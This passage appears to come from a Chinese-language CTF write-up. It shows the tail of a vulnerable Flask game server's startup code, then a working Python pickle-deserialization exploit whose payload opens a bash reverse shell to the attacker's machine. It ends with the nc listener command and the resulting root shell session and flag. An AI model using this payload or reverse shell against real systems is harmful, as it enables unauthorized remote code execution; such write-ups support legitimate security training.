logger.info("  GET  /api/backup?file=                        - 备份功能(路径遍历)")
logger.info("  GET  /api/stats                              - 统计信息")
logger.info("  GET  /api/health                            - 健康检查")
logger.info("  POST /api/reset                             - 手动重置所有数据")

logger.info(f"\n{'='*60}")
logger.info("CTF游戏服务器启动完成! ")
logger.info(f"访问地址: http://localhost:8080")
logger.info(f"目标分数: 1000分")
logger.info(f"正常答题最高: {len(QUESTIONS) * 10}分")
logger.info(f"需要利用漏洞才能达到目标分数")
logger.info(f"注意: 每次重启服务器都会清除所有记录! ")
logger.info(f"{'='*60}")

# 启动服务器
app.run(
    host='0.0.0.0',
    port=8080,

```

```
        debug=True, # 启用调试模式
        threaded=True
    )
```

- exp如下

```
#!/usr/bin/env python3
import pickle
import base64
import os
import requests

class RCE:
    def __reduce__(self):
        # 反弹 shell 到攻击机器
        cmd = 'bash -c "bash -i >& /dev/tcp/192.168.1.9/4444 0>&1"'
        return (os.system, (cmd,))

# 生成 payload
payload = base64.b64encode(pickle.dumps(RCE()))

# 发送请求
try:
    response = requests.post(
        'http://192.168.1.8:8080/api/serialize',
        data=payload,
        headers={'Content-Type': 'application/octet-stream'},
        timeout=5
    )
    print(f'Payload sent!')
    print(f'Response: {response.status_code} - {response.text}')
except Exception as e:
    print(f'Error: {e}')
```

- 攻击机一个终端开启nc监听: `nc -vl 4444`

- 攻击机另一个终端运行exp: `python exploit.py`
- 最终获得root的flag: `flag{root-fc7fb423367bb7fccb411758f06f857a}`

```
nc -vl 4444
id
bash: cannot set terminal process group (310): Inappropriate ioctl for device
bash: no job control in this shell
root@Banner:/opt/ctf-game# id
uid=0(root) gid=0(root) groups=0(root)
root@Banner:/opt/ctf-game# cd /root
cd /root
root@Banner:~# ls
ls
root.txt
root@Banner:~# cat root.txt
cat root.txt
flag{root-fc7fb423367bb7fccb411758f06f857a}
root@Banner:~#
```